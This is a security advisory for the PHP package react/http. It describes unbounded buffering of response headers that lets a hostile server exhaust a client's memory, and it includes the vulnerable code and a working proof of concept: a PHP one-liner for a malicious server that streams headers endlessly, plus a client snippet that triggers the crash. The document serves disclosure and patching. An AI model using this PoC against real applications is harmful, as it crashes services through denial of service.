GHSA-g4f2-2pf3-2pwj react/http: Unbounded HTTP Client Response Header Buffering Leads to Memory Exhaustion DoS

• Packagist react/http: >= 1.0.0, < 1.11.1 → fixed in 1.11.1

Summary `React\Http\Browser` and its lower-level HTTP stack impose no limit on the size of a response's header section while it is being received. `ClientRequestStream::handleData()` appends every incoming byte to an internal buffer and only scans that buffer for the `\r\n\r\n` (or `\n\n`) terminator, without ever checking its length. A remote server that withholds the terminator and keeps streaming can grow the client's memory without bound until PHP's `memory_limit` is exhausted and the process crashes. This is an unauthenticated, network-reachable denial of service against any application that uses `react/http` as a client to fetch untrusted or attacker-influenced URLs, including via redirects. Details `ClientRequestStream::handleData()` is bound directly to the underlying connection's `data` event, so every byte the peer sends is appended with no size check: ```php public function handleData($data) { $this->buffer .= $data; // buffer until double CRLF (or double LF for compatibility with legacy servers) $eom = \strpos($this->buffer, "\r\n\r\n"); $eomLegacy = \strpos($this->buffer, "\n\n"); if ($eom !== false || $eomLegacy !== false) { ``` The only exit from the buffering state is finding the header terminator or a connection close, so until it arrives the buffer grows monotonically for as long as the peer keeps sending. The codebase already applies this class of limit elsewhere, but not symmetrically. `RequestHeaderParser` caps incoming request headers when acting as a server, and `Transaction::bufferResponse()` caps the response body, but only once the header section has already been parsed into a `Response`. Response header reception was the one stage with no limit at all. PoC An HTTP server that sends a valid status line and a partial header, then streams indefinitely without ever terminating the header section: ```bash php -r '$s=stream_socket_server("tcp://127.0.0.1:18080"); $c=stream_socket_accept($s); fread($c,8192); fwrite($c,"HTTP/1.1 200 OK\r\nX-Fill: "); while (true) { fwrite($c, str_repeat("A",1048576)); usleep(10000); }' ``` A client fetching it, with `memory_limit=64M`: ```php $browser = new React\Http\Browser(); $browser->get("http://127.0.0.1:18080/")->then( function () { echo "ok\n"; }, function ($e) { echo get_class($e) . ": " . $e->getMessage() . "\n"; } ); ``` Client memory grows steadily until the process dies with `Allowed memory size ... exhausted` inside `ClientRequestStream::handleData()`. Impact Remotely triggerable, unauthenticated denial of service against any process using `Browser` to fetch from an attacker-controlled, compromised or otherwise untrusted endpoint, including one reached through a redirect. No user interaction and no special privileges are required. Because there is no upper bound on the header buffer, a single cheap connection can drive memory arbitrarily high and crash the process, taking down whatever event loop or worker it was running. Confidentiality and integrity are unaffected; availability is fully impacted for that process.